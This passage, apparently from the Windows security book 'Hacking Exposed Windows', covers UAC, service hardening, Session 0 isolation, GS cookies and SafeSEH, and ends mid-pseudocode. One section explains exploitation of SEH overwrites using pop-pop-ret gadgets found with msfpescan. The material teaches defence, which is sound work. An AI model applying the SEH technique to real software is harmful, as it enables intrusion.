SID of the logon session, and a list of systemwide privileges \npossessed by the user. When a process attempts to interact with another securable object, \nsuch as a file, the contents of the process’s access token are used in conjunction with the \nobject’s security descriptor to determine how the process can interact with the object—\nsuch as reading or modifying it. Due to such things as the time zone/printer scenario, \nusers are often surfing the Web and reading e-mails under the context of the local \nAdministrator. As such, exploiting a vulnerability in a mail client and web browser \nprovides remote attackers with full control of the operating system—a less than desirable \nsituation, depending on who you are. What if we could simply remove the privileges \nassociated with Administrators and other powerful groups from these processes? \nWouldn’t we be better off?\nUnAdmin\nUAC is the compromise between users with administrator privileges and the short-\nleashing security folks; it’s not quite warm porridge or the perfect bed, but it’s closer. It \nallows non-IT users to feel empowered by granting them the ability to change WEP keys, \n" }, { "page_number": 404, "text": "376 \nHacking Exposed Windows: Windows Security Secrets & Solutions \ninstall printers, and set the clock without dishing out administrative privileges. To \naccomplish this, during an interactive logon, UAC leans on the Local Security Authority \n(LSA) to detect whether the user’s token contains any elevated privileges. If it does, the \noriginal, fully privileged token is stashed away and the LSA performs a second logon \nwith the filtered token. The primary advantage of this is allowing elevated accounts to \noperate unprivileged until they attempt to perform an action that requires additional \nprivileges.\nUAC considers the following privileges elevated, and they will therefore be stripped \nfrom user tokens upon logon:\n• SeCreateTokenPrivilege\n• SeTcbPrivilege\n• SeTakeOwnershipPrivilege\n• SeBackupPrivilege\n• SeRestorePrivilege\n• SeDebugPrivilege\n• SeImpersonatePrivilege\n• SeRelabelPrivilege\nBy default, this affects the following groups:\n• Built-in Administrators\n• Power Users\n• Account Operators\n• Server Operators\n• Printer Operators\n• Backup Operators\n• RAS Servers Group\n• Windows NT 4.0 Application Compatibility Group\n• Network Confi guration Operators\n• Domain Administrators\n• Domain Controllers\n• Certifi cate Publishers\n• Schema Administrators\n• Enterprise Administrators\n• Group Policy Administrators\nAdditionally, if the user is a member of the Administrators group, the filtered token \nwill contain a deny-only version of this SID. This will cause Windows to consider the \nAdministrator’s SID only when evaluating deny Access Control Entries (ACEs) in a \n" }, { "page_number": 405, "text": "Chapter 12: Windows Security Features and Tools \n377\nDACL. In short, if the DACL on an object grants the Administrators group access to the \nobject, the user will not be able to access the object unless he has been explicitly granted \naccess or by membership of another group. This can be observed by logging in to Vista \nas a member of the Administrators group and running whomai /all from the command \nprompt. The following listing is an example of executing this command:\nUSER INFORMATION\n----------------\nUser Name SID\n=============== ============================================\nforilldoh\\mikej S-1-5-21-1726311756-936665386-659771895-1000\nGROUP INFORMATION\n-----------------\nGroup Name Type SID Attributes\n======================= ======== ====== ========================\n…\nBUILTIN\\Administrators Alias S-1-5-32-544 Group used for deny only\n...\nIt’s also worth noting that UAC does not affect service, network, or batch logons. \nOnce the user is logged on with the restricted token, subsequent attempts to perform \npotentially sensitive actions, such as installing software or interacting with portions of \nthe Control Panel, will cause a dialog box to appear, requesting confirmation that you \nindeed intend to take this action. Herein lies the greatest challenge to UAC—convincing \nusers to leave it enabled. Left enabled, UAC plugs a fairly large hole in most organizations’ \nand users’ security model: running as Administrator.\nIn the next section, we discuss how the Vista operating system has adopted some of \nthese concepts to beef up security related to services.\nWINDOWS SERVICE HARDENING\nJust as Windows XP and Server 2003 took great strides in reducing risk by limiting the \nnumber of enabled services and the privileges possessed by them, Vista and Server 2008 \nhave taken service level security even further with Windows Service Hardening, which \nincludes the following:\n• Service Resource Isolation\n• Least Privilege Services\n• Session 0 Isolation\n• Restricted Network Accessibility\nService Resource Isolation\nIn the event an application, service, or account becomes compromised, one of the first \nthings you start to ponder is just how bad bad is going to get. Suppose an attacker \ncompromises a web service in your DMZ: where can she go from there? Does the web \nservice pull information from a database that sits behind your internal firewall? What \npermissions does the account used by the web service have on the database? Can it \n" }, { "page_number": 406, "text": "378 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nexecute extended SQL procedures such as xp_cmdshell to compromise the database \nserver? If you entertain this thought line long enough, you may start to notice similarities \nbetween your security controls and a set of dominos.\nLet’s take this concept and apply it locally, to a single machine. Many services execute \nusing the same local account, such as LocalService. If one of these services is compromised, \nthe integrity of all other services executing as the same user is in jeopardy as well. An \nattacker can jump from service to service. To compound this, services typically store \nconfiguration information in areas of the operating system that are accessible only to \nhighly privileged principals. An artifact of this is a higher number of services executing \nas SYSTEM. What we are left with is a group of fairly low-privileged services that are \ncapable of compromising each other and another group of services that operate under a \nhighly privileged context to store configuration information securely. Not cool. To \naddress this, Vista and Server 2008 mesh two technologies:\n• Service-specifi c SIDs\n• Restricted SIDs\nBy assigning each service a unique SID, service resources, such as a file or Registry \nkey, can be ACLed to allow only that service to modify them. This gets us a bit closer to \nexecuting services with lower privileges while protecting their configuration data.\nTo determine the SID assigned to a given service, we can lean on new functionality \nthat has been added to sc.exe: showsid. We can take this one step further and identify the \nprincipal name associated with the service SID by running psgetsid.exe. The following \nlisting demonstrates how to obtain the SID and the principal name of the WLAN \nservices:\nC:\\>sc showsid wlansvc\nNAME: wlansvc\nSERVICE SID: S-1-5-80-1428027539-3309602793-2678353003-1498846795-3763184142\nC:\\>psgetsid S-1-5-80-1428027539-3309602793-2678353003-1498846795-3763184142\nPsGetSid v1.43 - Translates SIDs to names and vice versa\nCopyright (C) 1999-2006 Mark Russinovich\nSysinternals - www.sysinternals.com\nAccount for S-1-5-80-1428027539-3309602793-2678353003-1498846795-3763184142:\nWell Known Group: NT SERVICE\\Wlansvc\nC:\\>\nPSGetSid is available for download from Microsoft TechNet. Go to http://www.microsoft.com/technet/\nsysinternals/utilities/psgetsid.mspx.\nThis alone will not prevent a compromised service that is running as LocalService \nfrom modifying the resources of other services executing as the same principal. To \nachieve this, write-restricted SIDs are used: the service SID, along with the write-restricted \n" }, { "page_number": 407, "text": "Chapter 12: Windows Security Features and Tools \n379\nSID (S-1-5-33), is added to the service process’s restricted SID list. When a restricted \nprocess or thread attempts to access an object, two access checks are performed: one \nusing the enabled token SIDs, and another using the restricted SIDs. Only if both checks \nsucceed will access be granted. This prevents restricted services from accessing any \nobject that does not explicitly grant access to the service SID.\nFor example, assume we have two services, A and B, which execute under the con-\ntext of LocalService (and thus have LocalService as their enabled token SID). These \nservices store configuration information in the registries under HKLM\\System\\ \nCurrentControlSet\\Services\\ServiceA and ServiceB, respectively. The DACL on both \nRegistry keys grant LocalService the ability to write to the keys. Additionally, each DACL \ngrants write access to the appropriate service SID. At this point, if either service is com-\npromised, it can modify the configuration information of the other service. This is \nbecause both service processes contain the LocalService SID. However, if these services \nare hosted in different processes and each process has its respective service SID in the re-\nstricted SID list, the services cannot modify each other’s Registry values. This is because \nthe process tokens do not have the LocalService SID added to the restricted SID list.\nTo determine whether a service is restricted or not, simply run sc.exe with the \nqsidtype option. The following listing demonstrates the results of querying unrestricted \nand restricted services:\nC:\\tools>sc qsidtype wlansvc\n[SC] QueryServiceConfig2 SUCCESS\nSERVICE_NAME: wlansvc\nSERVICE_SID_TYPE: UNRESTRICTED\nC:\\tools>sc qsidtype bfe\n[SC] QueryServiceConfig2 SUCCESS\nSERVICE_NAME: bfe\nSERVICE_SID_TYPE: RESTRICTED\nC:\\tools>sc qsidtype sysmain\n[SC] QueryServiceConfig2 SUCCESS\nSERVICE_NAME: sysmain\nSERVICE_SID_TYPE: NONE\nC:\\tools>\nBy creating service-specific SIDs and coupling them with restricted SID lists, the \nprobability of a compromised service successfully attacking another service that executes \nas the same principal is greatly reduced. In the next section, we discuss how the Windows \nService Hardening effort has reduced this even further.\n" }, { "page_number": 408, "text": "380 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nLeast Privilege Services\nHistorically, many Windows services operated under the context of LocalSystem, \nwhich grants the service the ability to do just about anything. From a security \nperspective, this is a less than desirable scenario. To solve this, Microsoft introduced in \nWindows Server 2003 two new security principals, LocalService and NetworkService. \nThese principals have far fewer rights than SYSTEM but were in some cases so limited \nthat many services continued to operate as SYSTEM, much like in our printer and time \nzone scenarios from the UAC discussions. In Vista, the privileges granted to a service \nare no longer exclusively bound to the account to which it is configured to run; they \ncan be explicitly requested.\nPrivileges a la Carte\nEarlier, during the discussion of the UAC, we noted that service logons are not subject to \ntoken filtering. Therefore, if a service is configured to run as SYSTEM, its access token \nwill retain powerful privileges that allow it to interact freely with other securable objects. \nOr will it?\nTo close this gap and achieve the same effect of UAC—the principle of least privileged \nprocesses—the Service Control Manager (SCM) has been tweaked a bit. Much like the \nlogon process leaned on the LSA to filter tokens on behalf of UAC, the SCM plays a \nsimilar role for services. Services are now capable of providing the SCM, and ultimately \nthe LSA, with a list of specific privileges that they require. However, services cannot \nrequest permissions that are not originally possessed by the principal to which they are \nconfigured to start. Upon starting the service, the SCM utilizes the LSA to remove all \nprivileges from the services’ process that are not explicitly requested. For example, by \ndefault, the Windows Media Player Network Service (WMPNetworkSvc) is configured \nto require the following privileges:\n• SeChangeNotifyPrivilege\n• SeCreateGlobalPrivilege\nThis information can be obtained using sc.exe, which we will discuss a bit later in this section, or \ndirectly from the Registry at HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\\nWMPNetworkSvc:RequiredPrivileges.\nUsing Process Explorer, we can verify that only these privileges are granted to the \nWMPNetworkSvc process (Figure 12-4).\n" }, { "page_number": 409, "text": "Chapter 12: Windows Security Features and Tools \n381\nFigure 12-4 Limited privileges granted to WMPNetworkSvc\nFor services that share a process, such as svchost, the process token will contain an \naggregate of all privileges required by each individual service in the group. From an \nattacker’s standpoint, locating a vulnerability in one of these services may yield a far \nmore fruitful process space from which to wreak havoc. Figures 12-5 and 12-6 demonstrate \nthe existence of 19 services being hosted in a single process and the resultant set of \nprivileges possessed by this process.\nLikely for backward-compatibility reasons, if a service does not explicitly request \nprivileges, the SCM will leave intact all privileges that are granted to the principal to \nwhich the service is configured to execute. From an attacker’s perspective, enumerating \nall services that neglect to register required privileges may also be a fruitful exercise \nwhen selecting a target.\n" }, { "page_number": 410, "text": "382 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nBy default, many privileges are not enabled, but it is possible to enable them.\nInteracting with Service Privileges As in previous versions of Windows, services can be \nconfigured via the command-line interface of the SCM, sc.exe. Two new options have \nbeen added to this utility, qprivs and privs, which allow for querying and settings service \nprivileges, respectively. If you are looking to audit or lock down the services running on \nyour Vista or Server 2008 machine, these commands are invaluable. Figures 12-7 and 12-8 \ndemonstrate their usage.\nFigure 12-5 Nineteen services sharing a single PID\n" }, { "page_number": 411, "text": "Chapter 12: Windows Security Features and Tools \n383\nFigure 12-6 Aggregate of all privileges in service group\nYou must execute cmd.exe with Administrator privileges (such as via runas) to modify these \nprivileges.\n" }, { "page_number": 412, "text": "384 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nIf you start setting service privileges via sc.exe, make sure you specify all of the privileges at once. \nSc.exe does not assume you want to add the privilege to the existing list.\nFigure 12-7 Querying service privileges with sc.exe\nFigure 12-8 Setting service privileges with sc.exe\n" }, { "page_number": 413, "text": "Chapter 12: Windows Security Features and Tools \n385\nService Refactoring\nService refactoring is a fancy name for running services under lower-privileged accounts, \nthe meat-and-potatoes way to run services with least privilege. In Vista, Microsoft has \nmoved eight services out of the SYSTEM context and into LocalService. An additional \nfour SYSTEM services have been moved to run under the NetworkService account as \nwell. Table 12-1 breaks this down by service.\nAdditionally, six new service hosts (svchosts) have been introduced. These hosts \nprovide added flexibility when locking down services and have been listed in order of \nincreasing privilege:\n• LocalServiceNoNetwork\n• LocalServiceRestricted\n• LocalServiceNetworkRestricted\n• NetworkServiceRestricted\n• NetworkServiceNetworkRestricted\n• LocalSystemNetworkRestricted\nService\nPrevious Context\nNew Context\nCOM+ Event System\nSYSTEM\nLOCAL SERVICE\nWindows Security\nSYSTEM\nLOCAL SERVICE\nWindows Event Log\nSYSTEM\nLOCAL SERVICE\nWindows Audio\nSYSTEM\nLOCAL SERVICE\nWorkstation Service\nSYSTEM\nLOCAL SERVICE\nWindows Image \nAcquisition\nSYSTEM\nLOCAL SERVICE\nWindows Time\nSYSTEM\nLOCAL SERVICE\nDHCP Client\nSYSTEM\nLOCAL SERVICE\nTelephony\nSYSTEM\nNETWORK SERVICE\nCryptographic Services\nSYSTEM\nNETWORK SERVICE\nPolicy Agent\nSYSTEM\nNETWORK SERVICE\nTerminal Services\nSYSTEM\nNETWORK SERVICE\nTable 12-1 Vista Services that Have Now Run Under Lower-privileged Accounts\n" }, { "page_number": 414, "text": "386 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nEach of these operates with a write-restricted token, as described earlier in this chapter, with \nthe exception of those with a NetworkRestricted suffix. Groups with a NetworkRestricted \nsuffix limit the network accessibility of the service to a fixed set of ports, which we will \ncover now in a bit more detail.\nRestricted Network Access\nThe concept of restricting applications to a fixed or dynamic port is not new to the \nWindows world. These capabilities were present back in XP. However, with the \nintroduction of the new Windows Firewall with Advanced Security, network restriction \npolicies can be applied to services as well. In addition to the filtering capabilities of the \nprevious Windows Firewall, the new firewall allows administrators to create rules that \nrespect the following connection characteristics:\n• Directionality Rules can now be applied to both ingress and egress traffi c.\n• Protocol The fi rewall is now capable of making decisions based on an \nexpanded set of protocols types.\n• Principal Rules can be confi gured to apply only to a specifi c user.\n• Interface Administrators can now apply rules to a given interface set, such as \nWireless, Local Area Network, and so on.\nInteracting with these and other features of the firewall are just a few of the ways services \ncan be additionally secured.\nSession 0 Isolation\nIn 2002, researcher Chris Paget introduced a new Windows attack vector, coined a \n“Shatter Attack.” One the key pillars of this attack involved highly privileged services \ninteracting with the logon sessions of lower privileged users. As a refresher, the gist of a \nShatter Attack is to send a privileged service a window message that causes it to execute \nattacker-provided shellcode, elevating the attacker’s privileges to that of the service (see \n“References and Further Reading” for details of Shatter Attacks).\nSo what’s so special about Session 0? Pre-Vista services, along with the first user to \nlog on, participate within Session 0 and each subsequent user participates in session one, \ntwo, three, and so on. As previously stated, attacks such as Shatter rely on the ability to \nsend window messages to highly privileged services. One of the reasons attackers were \nable to send window messages to services was because they shared a session, Session 0. \nBy separating user and service sessions, Shatter-like attacks are mitigated. This is the \nessence of Session 0 Isolation: in Vista, services and system processes remain in Session \n0 while user sessions start at Session 1. This can be observed within Task Manager, as \nshown in Figure 12-9.\nYou can see in Figure 12-9 that most service and system processes exist in Session 0 \nwhile user processes exist in Session 1. It’s worth noting that not all system processes \nexecute in Session 0. For example, winlogon.exe and an instance of csrsss.exe exist in user \nsessions under the context of SYSTEM. Even so, session isolation, when coupled with \nUser Interface Privilege Isolation, represents an effective mitigation for a once common \nvector for attackers. In the next section, we discuss additional security features that work \n" }, { "page_number": 415, "text": "Chapter 12: Windows Security Features and Tools \n387\nfairly automagically from a security administrator’s perspective. However, understanding \nhow these features work is pivotal in understanding how to bypass them.\nYOUR COMPILER CAN SAVE YOU\nOne of the most common, if not the most common, security-impacting implementation \nflaws in software is the buffer overflow. Even though people have been publicly exploiting \nthese conditions since as early as 1988 when the Morris worm hit, they remain extremely \nprevalent in software that is being written today. Over time, the software industry and \nthose who write operating systems have taken steps to minimize the exploitability of \nthese conditions. In this section, we discuss the mitigations provided by the compiler \nused to build Vista and Server 2008. Before we get into the mitigations, we briefly discuss \nthe buffer overflow condition so that the purpose of these mitigations is clear.\nAn Overview of Overfl ows\nA buffer overflow is a generic term used to describe a condition that is the result of \nattempting to store more information at a memory location than the allocated space \nallows. For example, if a developer is writing an application that reads a series of names \nFigure 12-9 Separation between user and service sessions\n" }, { "page_number": 416, "text": "388 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nfrom a file, she might assume that the longest a name will ever be is 25 characters. To be \nsafe, she allocates enough space to account for names that are up to 50 characters long \nand begins reading them in. If the file contains a name that is longer than 50 characters, \na buffer overflow occurs. If an unfriendly person is able to influence the names that enter \nthis file, he may be able to alter the program’s execution by surgically replacing values in \nportions of memory that are adjacent to the buffer used to store the acquired name.\nWhen an application needs to store information in memory, such as names, it has a \ncouple of options for where to put it: the heap or the stack. A buffer overflow can occur in \neither of these locations, but for now we will focus on stack-based overflows. The stack, \nwhich is used to control execution, comprises a series of stack frames. A stack frame is \nplaced on the stack each time a function is called and removed each time a function returns. \nA stack frame, as created by the original Visual Studio 2003 compiler on the x86 platform, \nuses the layout shown in Figure 12-10, starting with the highest memory location first.\nWhen a stack overflow occurs, it starts moving up this stack, taking out other local \nvariables, exception handler structures, the frame pointer, return address, and arguments \npassed to the function itself. Attackers take advantage of this behavior by overwriting \nthese frame components with useful values. In the coming sections, we will discuss the \nfollowing security features provided by the VS2003 and VS2005 compiler that help \nreduce the probability of an attacker successfully exploiting overflow conditions:\n• GS cookies\n• SafeSEH\n• Stack layout changes\n• Address space layout randomization (ASLR)\nGS Cookies\nGS is a compile time technology that aims to prevent the exploitation of stack-based buffer \noverflows on the Windows platform. GS achieves this by placing a random value, or cookie, \non the stack between local variables and the return address, as shown in Figure 12-11.\nFigure 12-10 Standard stack frame generated by Visual Studio 2003\n" }, { "page_number": 417, "text": "Chapter 12: Windows Security Features and Tools \n389\nThis concept is not unique to the Windows world. In fact, Linux distributions have \nhad similar solutions for quite some time in the form of StackGuard and ProPolice. If a \nstack-based buffer overflows enough for an attacker to control the return address or \nframe pointer, the cookie has also been overwritten. Therefore, before the function \nreturns, this cookie value can be verified to ensure such an overflow has not occurred. If \nthe cookie value does not match the original value, an error dialog is presented to the \nuser and the process is terminated.\nUnder the Hood of GS\nWhen a native application starts up, the first function that is typically executed is one of \nthe C RunTime (CRT) entry points such as mainCRTStartup. The first action taken by \nthese functions is to call __security_init_cookie, which is responsible for initializing \nthe cookie that will eventually end up in every qualified function’s stack frame. I say \n“qualified” because a number of scenarios produce a cookieless stack frame:\n• The optimization (O) option is not enabled.\n• The function does not contain a stack buffer.\n• The function is decorated with __declspec(naked).\n• The function has a variable argument list (\"...\").\n• The function begins with inline assembly code.\n• The compiler determines that the function’s variables are used only in ways \nthat are less likely to be exploitable.\nActually, previous research by Ollie Whitehouse of Symantec has uncovered another \nscenario that results in a cookieless frame: a stack buffer that is smaller than 5 bytes. \nHowever, as of VS2005 SP1, developers have the option to add additional checks to GS \nFigure 12-11 Stack frame with GS cookie\n" }, { "page_number": 418, "text": "390 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nby adding the strict_gs_check(on) pragma to their code. This causes the compiler \nto place security cookies in places that it otherwise would not, such as buffers smaller \nthan 5 bytes and buffers allocated for integer arrays.\nThe primary goal of __security_init_cookie is to generate a nondeterministic \nvalue for the security cookie. To accomplish this, a number of environmental values are \ncaptured, including these:\n• System Time\n• Current Process ID\n• Current Thread ID\n• Static value in the PE\n• Current Tick Count\n• Performance Counters\nThis can be observed by disassembling the __security_init_cookie function, \nas shown in the following code listing:\n0:000> uf __security_init_cookie\n 97 00403fac 55 push ebp\n 97 00403fad 8bec mov ebp,esp\n 97 00403faf 83ec10 sub esp,10h\n 117 00403fb2 a110104200 mov eax,dword ptr [overflow!__security_cookie\n …\n 170 00403fe0 50 push eax\n 170 00403fe1 ff1598524200 call dword ptr\n[overflow!_imp__GetSystemTimeAsFileTime (00425298)]\n 175 00403fe7 8b75fc mov esi,dword ptr [ebp-4]\n 175 00403fea 3375f8 xor esi,dword ptr [ebp-8]\n 178 00403fed ff1594524200 call dword ptr\n[overflow!_imp__GetCurrentProcessId (00425294)]\n 178 00403ff3 33f0 xor esi,eax\n 179 00403ff5 ff1574524200 call dword ptr\n[overflow!_imp__GetCurrentThreadId (00425274)]\n 179 00403ffb 33f0 xor esi,eax\n 180 00403ffd ff1590524200 call dword ptr [overflow!_imp__GetTickCount]\n 180 00404003 33f0 xor esi,eax\n 182 00404005 8d45f0 lea eax,[ebp-10h]\n 182 00404008 50 push eax\n 182 00404009 ff158c524200 call dword ptr \n[overflow!_imp__QueryPerformanceCounter (0042528c)]\n 182 0040400f 8b45f4 mov eax,dword ptr [ebp-0Ch]\n 182 00404012 3345f0 xor eax,dword ptr [ebp-10h]\n 187 00404015 33f0 xor esi,eax\nThroughout this listing, the value of the security cookie is stored in the esi register, while \nthe result of each function call is stored in the eax register. Between each call, you can see \nthat these values are XORed against the current cookie value, thus creating a fairly \nnondeterministic security cookie.\n" }, { "page_number": 419, "text": "Chapter 12: Windows Security Features and Tools \n391\nWhile we’re on the topic of nondeterministic cookie values, Matt Miller recently wrote an article on \nuninformed.org that reflects his initial research on the determinism of GS cookies. His research has \nshown that due to the accessibility of entropy sources used to generate the GS cookie, local attackers \nare able to increase their probability of calculating a process’s cookie value. However, at the time of \nthis writing, Miller’s research does not represent an immediate threat to the efficacy of GS cookies, \nbut it’s a start.\nOnce the cookie has been initialized, the application operates normally until a \nqualified function has been invoked. In these instances, the function prologue has been \nmodified by the compiler to insert the cookie into the stack frame before the return \naddress and frame pointer. This can be observed in the following code listing:\n0:000> uf foo\n 21 00401040 55 push ebp\n 21 00401041 8bec mov ebp,esp\n 21 00401043 83ec24 sub esp,24h\n 21 00401046 a110104200 mov eax,dword ptr [overflow!__security_cookie]\n 21 0040104b 33c5 xor eax,ebp\n 21 0040104d 8945fc mov dword ptr [ebp-4],eax\nIn this listing, the first three instructions represent a typical function prologue. The next \nthree instructions represent modifications made by the Visual Studio compiler with /GS \nenabled. The fourth instruction loads the previously initialized value of __security_\ncookie in to the eax register. This value is then XORed against the current frame pointer \n(EBP) as seen in the fifth instruction. Finally, this value is placed in the stack frame, as \nseen in the final instruction.\nBefore this function returns, it must ensure that the version of the cookie currently \nin the stack frame matches the value stored in the previously initialized version, \n__security_cookie. To accomplish this, the function’s epilogue has been modified \nwith the following instructions:\n 28 00401071 8b4dfc mov ecx,dword ptr [ebp-4]\n 28 00401074 33cd xor ecx,ebp\n 28 00401076 e86d020000 call overflow!__security_check_cookie \n(004012e8)\nIn this listing, the first instruction loads the stack frame’s version of the cookie into \nthe ecx register. This value is then XORed against the frame pointer, as seen in the \nsecond instruction. On Vista, this provides additional entropy due to ASLR. Finally, \nthe __security_check_cookie is called, which compares the value contained in ecx \nagainst the original value in __security_cookie.\nAll in all, cookies are fairly effective at preventing the exploitation of stack-based \noverflows on both Windows and non-Windows platforms. However, intricacies exist \nwithin Windows that prevent GS alone from putting an end to the prevalent exploitation \nof stack-based buffer overflows. In the following section we discuss additional compile \ntime options that supplement GS.\n" }, { "page_number": 420, "text": "392 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nSafeSEH\nLike GS, SafeSEH (also known as Software Data Execution Prevention, or DEP) is a \ncompile-time security technology. In this instance, instead of protecting the frame pointer \nand return address, the purpose of SafeSEH is to ensure that the exception handler frame \nis not abused. Earlier, we discussed the stack-frame layout with respect of the GS cookie. \nIn that diagram, the GS cookie is placed above the exception handler frame. As originally \ndescribed in Dave Litchfield’s paper “Defeating the Stack Based Overflow Prevention \nMechanism of Microsoft Windows 2003 Server,” an attacker can overwrite the exception \nhandler with a controlled value and obtain code execution in a more reliable fashion \nthan directly overwriting the return address. To address this, SafeSEH was introduced in \nWindows XP SP2 and Windows Server 2003 SP1. Before we jump into SafeSEH, let’s \nbriefly discuss Structured Exception Handling.\nStructured Exception Handling\nException handling is a core facility for most applications and operating systems, including \nWindows. The goal of exception handling is to provide the application or operating \nsystem with an opportunity to take action when a given condition occurs, such as dividing \nby zero or attempting to access an invalid memory address. To achieve this, each thread \nhas the ability to register exception handlers, which are functions that execute in the event \nan exception occurs. Structured Exception Handlers (SEHs) are registered by creating an \nEXCEPTION_REGISTRATION_RECORD and prepending it to the ExceptionList\nattribute of the NT_TIB structure, which takes the following form:\n0:000> dt _NT_TIB\n +0x000 ExceptionList : Ptr32 _EXCEPTION_REGISTRATION_RECORD\n +0x004 StackBase : Ptr32 Void\n +0x008 StackLimit : Ptr32 Void\n +0x00c SubSystemTib : Ptr32 Void\n +0x010 FiberData : Ptr32 Void\n +0x010 Version : Uint4B\n +0x014 ArbitraryUserPointer : Ptr32 Void\n +0x018 Self : Ptr32 _NT_TIB\nTheNT_TIB structure is defined in winnt.h.\nFrom this, we can see that the ExceptionList attribute is the first attribute of the \nNT_TIB and is a pointer to a linked list of EXCEPTION_REGISTRATION_RECORDs.\nEXCEPTION_REGISTRATION_RECORDs contain two pointers, one to the Next\nEXCEPTION_REGISTRATION_RECORD in the list and another to the actual Handler,\nwhich is a callback function that is given the opportunity to take action when an exception \noccurs. On an Intel platform, we can access this ExceptionList via the pointer located \nat FS:0. By dereferencing the Next pointer of the EXCEPTION_REGISTRATION_RECORD\nat this location we can walk the list until we encounter a value of 0xFFFFFFFF, which \ndenotes the end of the record chain. This can be observed in the following listing.\n" }, { "page_number": 421, "text": "Chapter 12: Windows Security Features and Tools \n393\n0:000> dt _EXCEPTION_REGISTRATION_RECORD poi(poi(fs:0))\n +0x000 Next : 0x0012ff90 _EXCEPTION_REGISTRATION_RECORD\n +0x004 Handler : 0x004012c0 exceptions!_except_handler4+0\n0:000> dt _EXCEPTION_REGISTRATION_RECORD 0x0012ff90\n +0x000 Next : 0x0012ffdc _EXCEPTION_REGISTRATION_RECORD\n +0x004 Handler : 0x004012c0 exceptions!_except_handler4+0\n0:000> dt _EXCEPTION_REGISTRATION_RECORD 0x0012ffdc\n +0x000 Next : 0xffffffff _EXCEPTION_REGISTRATION_RECORD\n +0x004 Handler : 0x77138bf2 ntdll!_except_handler4+0\nWhen an exception occurs, the OS walks this same list until it reaches the end or one \nof the callbacks decides to handle the exception. A handler makes the OS aware of its \ndecision by returning one of a handful of values, including ExceptionContinue\nExecution or ExceptionContinueSearch. The former instructs the OS to retry the \ninstruction that caused the exception, as the handler presumably (or not) took some \naction, and the latter instructs the OS to continue walking the list looking for volunteers.\nSo this is what we have so far: a stack-based mechanism that allows each thread to \ndefine a block of code that will acquire execution control upon the occurrence of a given \ncondition. An important artifact of this mechanism is the presence of juicy function \npointers on the stack. Let’s take a look at how these function pointers have been abused \nto compromise systems near you.\nExploitingSEH Overwrites\nAs previously stated, abusing the SEH is not exactly breaking news. However, we will \nbriefly discuss how to exploit an SEH overwrite so that the benefits of SafeSEH become \nmore apparent. One of the first things to be aware of is that the stack location is not \ndeterministic—not even in earlier versions of Windows that lack the benefits of ASLR. \nThe implications of this from an exploitability standpoint are significant. We can’t simply \noverwrite a return address or function pointer with a hard-coded stack address that \npoints to our shellcode. Instead, we must add a level of indirection by overwriting with \na deterministic address containing instructions that pass execution control back to our \nshellcode, such as pop,pop,ret. Today, finding such locations in a pre–Vista/Server \n2008 target is as easy as using a web browser. The Metasploit Project has an online opcode \ndatabase that allows us to search for memory locations that contain the instructions we \nneed. If you’re looking for a destination that resides in a custom dynamic link library \n(DLL), you can use msfpescan as shown in the following listing:\nC:\\>ruby c:\\tools\\msf\\msfpescan -p c:\\cygwin\\bin\\cygcrypt-0.dll\n[c:\\cygwin\\bin\\cygcrypt-0.dll]\n0x10001042 pop esi; pop ebp; ret\n0x1000110c pop edi; pop ebp; ret\n0x100011c4 pop edi; pop ebp; ret\n0x100012d7 pop edi; pop ebp; ret\n0x10001470 pop edi; pop ebp; ret\n0x10001704 pop edi; pop ebp; ret\n0x10001ae3 pop esi; pop ebp; ret\n" }, { "page_number": 422, "text": "394 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nWhen exploiting an SEH overwrite, an attacker clobbers the Handler attribute of the \nEXCEPTION_REGISTRATION_RECORD with the address of an instruction sequence \nsimilar to pop,pop,ret. When an exception occurs, this causes Windows to pass \nexecution to this address, which subsequently returns to the location on the stack of the \nNext attribute of the EXCEPTION_REGISTRATION_RECORD. The Next attribute is also \ncontrolled by the attacker, but if we recall the stack layout from earlier, the Next attribute \nis below the Handler attribute. This limits the attacker to 4 bytes before running into the \nvery Handler address he previously supplied to originally obtain code execution. \nHowever, by overwriting the Next attribute with instructions that jump the Handler\nattribute, the attacker typically has enough room for arbitrary shellcode—and this is \nexactly what happens. Figure 12-12 illustrates what this looks like.\nHere we can see execution begins at the Handler attribute, which points to an area \nof memory containing a pop,pop,ret sequence. This lands at the Next attribute, where \na pair of NOPs (0x90) and a 6-byte short jump await us. EB is the Intel opcode for short \njump. These values are read from right to left to account for endianess.\nNow that you understand how these conditions have been exploited, let’s take a look \nat some of the mechanisms provided by SafeSEH that help prevent this type of \nexploitation.\nSafeSEH in Action\nIn an effort to prevent attackers from abusing exception handlers, a majority of the \nexecutables shipped with Windows XP SP2, 2K3 SP1, Vista, and Server 2008 contain a \ntable of safe exception handlers. When an exception occurs, Windows validates that, \namong other things, the handler articulated in the registration record exists in the safe \nexception handler list. If not, the application is terminated. We can determine whether an \nFigure 12-12 Exploiting SEH overwrites\n" }, { "page_number": 423, "text": "Chapter 12: Windows Security Features and Tools \n395\nexecutable has a set of safe exception handlers by running DUMPBIN with the LOADCONFIG\noption, as shown here:\nC:\\tools>dumpbin /loadconfig c:\\Windows\\system32\\calc.exe\nMicrosoft (R) COFF/PE Dumper Version 8.00.50727.42\nCopyright (C) Microsoft Corporation. All rights reserved.\nDump of file c:\\Windows\\system32\\calc.exe\nFile Type: EXECUTABLE IMAGE\n Section contains the following load config:\n ...\n001780 Safe Exception Handler Table\n 5 Safe Exception Handler Count\n Safe Exception Handler Table\n Address\n --------\n 01012AE2\n 01012D57\n 01012D84\n 01012DA4\n 01012DC4\nFrom this, we can see that calc.exe has five safe exception handlers. When a userland \nexception occurs, Windows invokes the KiUserExceptionDispatcher function \nwithin ntdll.dll. If we trace this call path further, we will see that exception handler is \npassed to RtlIsValidHandler. This function leans on RtlLookupFunctionTable\nand RtlCaptureImageExceptionValues to extract the safe list from the image. \nRtlIsValidHandler returns a true or false depending on a couple conditions. Ben \nNagy’s analysis of SafeSEH resulted in the following pseudocode that describes these \nconditions in detail:\nif (SEHTable != NULL && SEHCount != 0) {\n if (SEHTable == -1 && SEHCount == -1) {\n // Managed Code but no SEH Registration table\n // or IMAGE_LOAD_CONFIG.DllCharacteristics == 4\n return FALSE;\n }\n if (&handler is registered) {\n return 